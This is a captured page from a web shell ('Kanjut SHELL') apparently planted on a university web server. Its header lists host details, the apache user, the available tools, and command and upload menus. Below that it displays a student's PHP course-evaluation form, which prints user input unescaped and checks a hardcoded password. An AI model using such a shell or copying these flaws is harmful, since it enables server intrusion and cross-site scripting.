Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.216.99.18
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/wcdavis/www/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //home/wcdavis/www/hw3b3.php
<?php	session_start();	?>
<!-- 
	Wesley Davis
	Web Exam portion of Assignment 3 
	
-->
<CENTER>
<H2>
Course Evaluation
</H2> 
<HR>
<?php
	$pass = $_SESSION['pass'];
	if($pass == "hw3b")
	{
	$name = $_POST['name'];
	$gender = $_POST['gender'];
	$grade = $_POST['grade'];
	$course = $_POST['course'];

	$_SESSION['name'] = $name;
	$_SESSION['gender'] = $gender;
	$_SESSION['grade'] = $grade;
	$_SESSION['course'] = $course;
	print "<Form action=result.php method=post>";
	print "<div align=justify><B>Do you like your professor in $course ?</B><p>";
	print "<INPUT type=radio name=question1 value=Strongly Agree>A. Strongly agree 
<p>";
	print "<INPUT type=radio name=question1 value=Agree>B. Agree<p>";
	print "<INPUT type=radio name=question1 value=Don't Agree>C. Don't agree<p>";

	print "<P> <Form action=result.php method=post>";
	print "<B>Do you feel like you were evaluated fairly in $course ?</B><p>"; 
	print "<INPUT type=radio name=question2 value=Strongly Agree>A. Strongly 
Agree<p>";
	print "<INPUT type=radio name=question2 value=Agree>B. Agree <p>";
	print "<INPUT type=radio name=question2 value=Disagree>C. Don't agree <p><P>";
 
	print "<Form action result.php method=post>"; 
	print "<B>Would you recommend $course to anyone else?</B><p>"; 
	print "<INPUT type=radio name=question3 value=Strongly Agree>A. Strongly 
Agree<p>";
	print "<INPUT type=radio name=question3 value=Agree>B. Agree<p>";
	print "<INPUT type=radio name=question3 value=Disagree>C. Don't Agree<p>"; 
	
	print "<Form action result.php method=post>";
	print "<B>Do you feel like you have learned a lot from $course ?</B><p>";
	print "<INPUT type=radio name=question4 value=Strongly Agree>A. Strongly 
Agree<p>";
	print "<INPUT type=radio name=question4 value=Agree>B. Agree<p>";
	print "<INPUT type=radio name=question4 value=Disagree>C. Disagree<p>";
	print "</div>";

	print "<Form action result.php method=post>";
	print "Comments? <p><INPUT type=text name=comments>";
	}
	else
		print "go away."; 
?>

<INPUT type=submit value=Submit> <INPUT type=reset value=Reset>
</FORM>
</CENTER>
</BODY>
</HTML>

Stv3n404 - 2023